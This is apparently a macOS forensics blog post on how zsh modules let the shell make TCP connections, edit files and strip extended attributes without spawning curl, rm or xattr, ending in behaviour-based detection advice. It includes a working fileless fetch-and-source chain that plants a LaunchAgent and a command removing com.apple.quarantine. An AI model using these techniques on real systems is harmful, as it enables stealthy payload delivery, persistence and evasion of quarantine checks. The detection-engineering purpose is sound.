When investigating shell-based activity on macOS, it is tempting to focus on the usual suspects: curl, osascript, python, xattr, and similar utilities. But zsh itself provides considerably more functionality than simply executing commands. macOS uses zsh as the default interactive shell, and zsh ships with a module system that can extend the shell with networking, file manipulation, extended-attribute access, and other functionality.
Functionality commonly associated with separate utilities can instead be performed by builtins inside the already-running zsh process. As a result, there may be no corresponding curl, rm, or xattr process for an analyst to find. Detection gaps can arise when detection logic relies primarily on process execution and command-line telemetry.
The underlying network, filesystem, or extended-attribute activity still occurs, but attributing that behavior solely through child-process execution becomes much harder.
Modules can be loaded at runtime using zmodload:
Depending on the zsh build and platform, available modules can provide functionality such as:
zsh/net/tcp TCP socket operations
zsh/net/socket Unix domain sockets
zsh/system Low-level system functionality
zsh/files Built-in file operations
zsh/zutil Utility functions
zsh/sched Scheduled commands inside zsh
zsh/stat File metadata through a builtin
zsh/mapfile Map files into an associative array
zsh/attr Extended-attribute operations
The distinction between an external command and a shell builtin is important when investigating a compromised macOS client or performing threat hunting. When zsh invokes an external utility such as curl, macOS has to execute another program. This creates process-execution telemetry containing information such as the executable path, arguments, parent process, and code-signing metadata.
Module-provided functionality behaves differently. After loading zsh/net/tcp, for example: whence -v ztcp identifies ztcp as a shell builtin. There is no separate ztcp executable that needs to be launched. The operation is therefore attributed to the existing /bin/zsh process rather than to a newly created child process. This distinction becomes important when detections rely primarily on executable names, command-line arguments, or parent-child relationships.
One particularly interesting module is:
It exposes the ztcp builtin, which allows the shell itself to establish TCP connections. This becomes particularly interesting in macOS initial-access chains where /bin/zsh is already used as the execution engine. ClickFix-style execution chains are one example where shell execution plays an important role, as demonstrated in my talk “Deconstructing Modern macOS Initial Access Vectors” (slides on my GitHub repo).
With zsh/net/tcp, the shell does not necessarily need to launch another networking utility. It can establish the TCP connection itself.
Example
In the first terminal, create a harmless payload:
mkdir -p /tmp/zsh-modules
cd /tmp/zsh-modules
cat > payload.zsh <<'EOF'
print "[+] IT'S ALIVE!"
print "[+] PID: $$"
print "[+] User: $USER"
EOF
python3 -m http.server 8080
In another terminal, connect directly to the HTTP server:
zmodload zsh/net/tcp
ztcp 127.0.0.1 8080
fd=$REPLY
print -rn -u $fd -- \
$'GET /payload.zsh HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n'
while IFS= read -r -u $fd line; do
[[ "$line" == $'\r' || -z "$line" ]] && break
done
source /dev/fd/$fd
ztcp -c $fd
ztcp establishes the TCP connection and exposes the resulting file descriptor through the shell parameter $REPLY. We save that descriptor in $fd. The important point is that zsh now owns an open socket. There is no curl, wget, or nc process involved. We then write a minimal HTTP request directly to that descriptor:
GET /payload.zsh HTTP/1.0
Host: 127.0.0.1
Connection: close
At this point zsh is effectively speaking HTTP itself. ztcp is not an HTTP client; it merely provides the TCP stream. Constructing and parsing the application protocol is our responsibility. The most interesting part of the example is arguably the following line:
After the loop has consumed the HTTP response headers, the remaining bytes arriving through the socket represent the response body.
/dev/fd/<n> provides a pathname through which an already-open file descriptor can be accessed. Because the connected socket is represented by such a descriptor, source /dev/fd/$fd causes zsh to read the remaining bytes from that descriptor and interpret them as shell input.
This means that the example does not require a conventional payload file to be written to disk. The script content can be received through the socket and interpreted directly by the existing shell. That distinction matters during forensic analysis. Searching the filesystem for a downloaded payload.zsh may produce nothing even though shell code was retrieved and executed.
There is, however, an important difference.
A conventional curl ... | zsh chain creates additional process-execution telemetry: curl must execute to retrieve the content and another shell is normally started to interpret the pipe. With ztcp and source, both retrieval and interpretation can occur inside the already-running zsh process. The network connection still exists, but the expected curl process, its command line, and the additional shell process do not.
One Important Limitation: TLS
There is an important practical limitation. zsh/net/tcp provides a raw TCP connection. It is not an HTTP client and does not provide TLS itself. That makes manually speaking HTTP relatively straightforward. That significantly limits the practicality of ztcp as a drop-in replacement for curl, but it does not make the primitive irrelevant. Consequently, establishing a TCP connection to port 443 with ztcp does not establish a usable HTTPS session; the TLS handshake and subsequent encryption would still need to be implemented separately.
Let’s make the example slightly more realistic. We will retrieve a second-stage script through zsh/net/tcp and execute it directly from the socket. The script creates a harmless LaunchAgent that opens Calculator.app. The goal is not persistence itself, but to demonstrate how a more complete second stage can be delivered without curl, wget, or nc, and without first writing the downloaded script to disk.
Server-side payload - payload.zsh
#!/bin/zsh
print "[+] Second stage executing"
print "[+] Running inside zsh PID: $$"
PLIST="$HOME/Library/LaunchAgents/ch.dfir.zshdemo.plist"
mkdir -p "$HOME/Library/LaunchAgents"
PLIST_B64='BASE64_GOES_HERE'
print -rn -- "$PLIST_B64" |
/usr/bin/base64 -D > "$PLIST"
/bin/launchctl bootout \
"gui/$(id -u)" \
"$PLIST" 2>/dev/null
/bin/launchctl bootstrap \
"gui/$(id -u)" \
"$PLIST"
print "[+] LaunchAgent bootstrapped"
For the lab, the LaunchAgent simply opens Calculator.app to provide a harmless and immediately visible indication that the second stage executed successfully:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>ch.dfir.zshdemo</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/open</string>
<string>-a</string>
<string>Calculator</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Generate the Base64 and replace the placeholder value in the payload.zsh file.
base64 -i demo.plist | tr -d '\n'
And fetch our payload:
% zmodload zsh/net/tcp
ztcp 127.0.0.1 8080
fd=$REPLY
print -rn -u $fd -- \
$'GET /payload.zsh HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n'
while IFS= read -r -u $fd line; do
[[ "$line" == $'\r' || -z "$line" ]] && break
done
source /dev/fd/$fd
ztcp -c $fd
[+] Second stage executing
[+] Running inside zsh PID: 89950
[+] LaunchAgent bootstrapped
Notice what happened here: payload.zsh was never written to the client filesystem. After the HTTP headers were consumed, source /dev/fd/$fd caused the already-running zsh process to interpret the response body directly from the socket. The second stage therefore begins executing in the same zsh process that established the connection. From there, it decodes the embedded plist, writes the LaunchAgent, and bootstraps it with launchctl.
This does not make the complete chain processless. Utilities such as base64 and launchctl, as well as the application eventually started by launchd, still produce their own telemetry. What disappears is the conventional downloader process and the downloaded second-stage script on disk.
Cleanup
After the experiment, unload and remove the test LaunchAgent:
launchctl bootout \
"gui/$(id -u)" \
"$HOME/Library/LaunchAgents/ch.dfir.zshdemo.plist"
rm -f "$HOME/Library/LaunchAgents/ch.dfir.zshdemo.plist"
In the Wild
We have not come across documented in-the-wild abuse of the other zsh module techniques explored in this post. However, abuse of zsh/net/tcp itself is not merely theoretical. In 2020, ESET documented macOS malware using the module to establish a reverse shell. The same zsh/net/tcp reverse-shell primitive is also documented by GTFOBins, and Elastic provides a detection rule covering this behavior.
zsh/mapfile: Files as an Associative ArrayNetworking is not the only interesting capability. Load the mapfile module:
Now create a file:
mapfile[/tmp/dfir.txt]="Hello from zsh"
Read it back:
print -r -- "$mapfile[/tmp/dfir.txt]"
Even more unusual, removing the array element removes the corresponding file:
unset 'mapfile[/tmp/dfir.txt]'
From a forensic perspective, the interesting part is again the absence of an additional process. Writing, reading, and removing the file can all be performed from the existing zsh process. There is no requirement for /bin/cat or /bin/rm to execute.
The filesystem activity itself does not disappear: files are still created, read, modified, or deleted. What changes is the process responsible for those operations. Telemetry may attribute them directly to /bin/zsh rather than to the utilities an analyst might normally expect.
Another interesting upstream module is:
When available, it provides builtins including:
zgetattr
zsetattr
zdelattr
zlistattr
These expose extended-attribute operations directly from zsh. For example:
touch /tmp/zsh-xattr-test
zsetattr /tmp/zsh-xattr-test ch.dfir.xattr "DFIR rocks!"
zlistattr /tmp/zsh-xattr-test
The attribute can subsequently be removed with:
zdelattr /tmp/zsh-xattr-test ch.dfir.xattr
On macOS, this is particularly interesting because extended attributes can contain security-relevant metadata. The obvious example is:
From a detection perspective, this exposes the same problem we saw earlier. A detection rule that specifically looks for:
is detecting an implementation rather than the underlying behavior. If extended attributes can be manipulated through an in-process shell builtin, /usr/bin/xattr never needs to execute.
Detection Engineering
So far we have established that zdelattr can manipulate extended attributes without executing /usr/bin/xattr. But does avoiding the external utility also hide the underlying operation from defensive telemetry? Apple’s Endpoint Security framework exposes events for extended-attribute operations, including:
ES_EVENT_TYPE_NOTIFY_SETEXTATTR
ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR
We started eslogger and subscribed to extended-attribute and process-execution events:
sudo eslogger exec setextattr deleteextattr > /tmp/zsh-es.json
We then created and removed an extended attribute entirely through the zsh/attr module:
zmodload zsh/attr
zsetattr /tmp/zsh-xattr-test com.apple.quarantine "DFIR rocks!"
zdelattr /tmp/zsh-xattr-test com.apple.quarantine
No /usr/bin/xattr process was required. However, the underlying operation remained visible to Endpoint Security. For this telemetry experiment, the contents of the attribute are irrelevant; we only need an extended attribute named com.apple.quarantine to exist before deleting it.
{
"event": {
"deleteextattr": {
"target": {
"path": "/private/tmp/zsh-xattr-test"
},
"extattr": "com.apple.quarantine"
}
},
"process": {
"signing_id": "com.apple.zsh",
"executable": {
"path": "/bin/zsh"
},
"is_platform_binary": true
}
}
The event gives us exactly the information required for the investigation:
/private/tmp/zsh-xattr-test;com.apple.quarantine;/bin/zsh.This demonstrates an important distinction: zsh/attr can bypass a detection that relies on the execution of /usr/bin/xattr, but it does not bypass telemetry observing the underlying extended-attribute operation. A process-centric rule might look for:
process == "/usr/bin/xattr"
AND
arguments contain "com.apple.quarantine"
The experiment above demonstrates why that is insufficient. A more robust detection starts with the underlying operation:
event == DELETEEXTATTR
AND
extattr == "com.apple.quarantine"
and then examines the process responsible for it. In our experiment, that process is /bin/zsh. This makes the detection independent of the specific implementation used to remove the attribute. Whether the operation originates from /usr/bin/xattr, a shell builtin, or custom code, the security-relevant behavior remains the deletion of com.apple.quarantine.
The examples above are only a subset of the functionality exposed through zsh modules. A single zsh process can potentially perform operations that analysts might otherwise associate with several different utilities:
Network connection -> zsh/net/tcp
File manipulation -> zsh/files / zsh/mapfile
File metadata -> zsh/stat
Extended attributes -> zsh/attr
I/O multiplexing -> zsh/zselect
Scheduling -> zsh/sched
Functionality that analysts commonly associate with separate executables can instead be performed by the existing /bin/zsh process. Hunting solely for executable names or command-line patterns therefore risks detecting the implementation rather than the behavior.
This does not mean process telemetry becomes useless. Quite the opposite: /bin/zsh becomes the process worth investigating. But reconstructing its behavior may require correlating process execution with filesystem, extended-attribute, and network telemetry rather than relying solely on child processes.
As we’ve seen in the extended-attribute experiment, avoiding an external utility does not necessarily make the underlying operation invisible. eslogger, which consumes events from Apple’s Endpoint Security framework, still attributed the DELETEEXTATTR operation directly to /bin/zsh.
The same principle can be applied to the other examples in this post: instead of relying solely on process creation, defenders should look for telemetry describing the underlying behavior. The exact visibility depends on the telemetry source and the events being collected, but moving the detection below the command-execution layer makes it significantly less dependent on the attacker’s choice of utility.
If you’d like to learn more about these kinds of shenanigans and how to spot them: I teach an anti-forensics course for incident responders, as well as a macOS forensics course.